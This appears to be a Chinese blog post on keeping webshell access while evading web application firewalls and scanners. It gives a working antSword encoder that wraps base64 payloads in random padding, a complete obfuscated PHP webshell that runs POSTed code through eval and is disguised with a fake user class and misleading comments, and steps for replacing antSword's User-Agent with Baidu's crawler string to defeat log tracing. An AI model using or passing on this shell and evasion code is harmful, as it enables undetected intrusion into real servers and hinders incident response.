之前在逛一些技术论坛就看到绕waf的权限维持技术,作为一枚菜鸡脚本小子的我看完之后也打算跃跃欲试,于是就有了这篇水文。但是网上都是说菜刀之类的,但是我个人比较喜欢antSword这款开源的软件,然后简单读了下其文档,发现他支持高度自定义,而且可以直接修改代码,简直方便的不要不要的,于是就有了下面这篇简单的文章。
这里我理解的动态免杀比较low,其实就是应用层的流量加密,这样可以绕过一些waf对流量一些关键词的检测,我这个方法其实最大的亮点就是操作比较简单吧,技术含量还是很低级,但目前自我感觉还是有点实用价值。
这里首先要谈下antSword的自定义编码器
打开蚁剑的系统设置就可以看到编码管理选项,这里选择新增一个编码器
这里可以通过代码和注释看出编码器的作用,下面是我修改的编码器结果:
这些代码主要就是javascript node.js基础语法
/**
* php::base64编码器
* Create at: 2019/01/26 23:51:47
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
let encry= new Buffer(data['_']).toString('base64');
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = `${randomID}`+encry+`${randomID}`;
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
主要就是3行代码:
let randomID = `${Math.random().toString(16).substr(2)}`; //生成13位随机字符串
let encry= new Buffer(data['_']).toString('base64'); //传输数据base64
data[pwd] = `${randomID}`+encry+`${randomID}`; //随机字符串+传输数据base64+随机字符串
随机字符串+传输数据base64+随机字符串这样的结果是干扰一些waf进行模糊解码,这样是不可能被直接解密的。
也许有人说这样固定字符串不够动态,但是你完全可以在设置个参数传入长度进shell里面
比如这样?
module.exports = (pwd, data) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let num = Math.floor(Math.random()*15);
let randomStr = `${Math.random().toString(16).substr(num)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
let encry= new Buffer(data['_']).toString('base64');
data['num'] = 15-num;
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = `${randomStr}`+encry+`${randomStr}`;
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
这里设置下AntantSword的代理设置为http,burp监听端口查看下结果
配置好shell,然后连接shell,再查看burp的流量
可以看到http的流量除了是User-Agent: antSword/v2.0
这个很明显的特征基本没有敏感关键字,而且num也是随机值,这个编码器基本达到了流量加密的目的,而且post的表单形式,更是对很多waf存在免疫力,所以说效果个人感觉还是挺不错的。
既然服务端已经配置好了,那么就要考虑下客户端也就是webshell的免杀和应用编写了。
由于我目前虚拟机也就只是装了D盾和安全狗还有个宝塔,所以随手测试下写了个免杀这三个waf的一个php一句话(ps 没啥技术含量)
<?php
/* 用户操作类 */
class User
{
public $name = '';
public $config = null;
function __destruct(){
@eval(''.$config."$this->name");
}
}
// 生成用户
$user = new User;
$num = @$_POST['num'];
// 传递用户信息
$c = \base64_decode((substr(@$_POST['a'],$num,-$num)));
$user->name = ''.$c;
?>
我个人感觉只要过了D盾,一般也能过狗吧。
这里谈谈思路:
首先服务端传入的是随机长度字符串+base64传输数据+随机长度字符串
webshell对应的解码就是:
$num = @$_POST['num'];
// 传递用户信息
$c = \base64_decode((substr(@$_POST['a'],$num,-$num)));
关于怎么过D盾,assert过D盾挺简单,但是考虑了下兼容性,我觉得用eval来演示效果更好。
这里参考两篇文章:
首先构造个类然后利用一些php的特性比如 eval(''.phpinfo()); 来实现绕过D盾
然后发现D盾还是报二级 base64_decode解码,发现网上文章很多人放弃了base64_decode()(D盾超喜欢)
然后我当时构造了下:
<?php
$a = $_POST['a'];
$c = base64_decode($a);
?>
发现没有报毒,我觉得还是有戏的。
后来我简单想了下利用命名空间来实现了绕过
\base64_decode()
然后加点注释,误导一些像我这样的小白。
最后附上一张免杀图的:
很多人用蚁剑其实都是默认配置就用了,所以默认就带有User-Agent: antSword/v2.0
,日志溯源简直是爽YY。不过蚁剑在添加shell的时候也提供了自定义的header头功能,但是用起来我感觉不是很方便,不如直接在代码里面修改了。
这里可以用百度UA:
Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
当然你也可以准备多个UA存进数组里,每次随机调用,我个人感觉没太大实用价值,后门还是要做在底层才比较稳。
antSword-2.0.4/modules/request.js
中有个const USER_AGENT = 'antSword/v2.0';
替换为
antSword-2.0.4/modules/update.js
直接替换两处就行了。
下面再次抓包看看结果:
OK,打工告成。
1.如果waf是检测到异常流量包的话就丢弃的话,这种方法就没啥用了
2.如果底层hook函数,这种方法也就没啥用了,但是我感觉这种成本很高,一般waf也不会这样做吧。
3.因为是初次探索这个领域,各方面了解的不是很多,希望各位师傅大力指点,传授各种骚姿势。
行文下来,个人感觉操作非常简单,而且还是有点实用,兼容性还是挺满意的,文章可能诸多纰漏,希望各位师傅不要介意。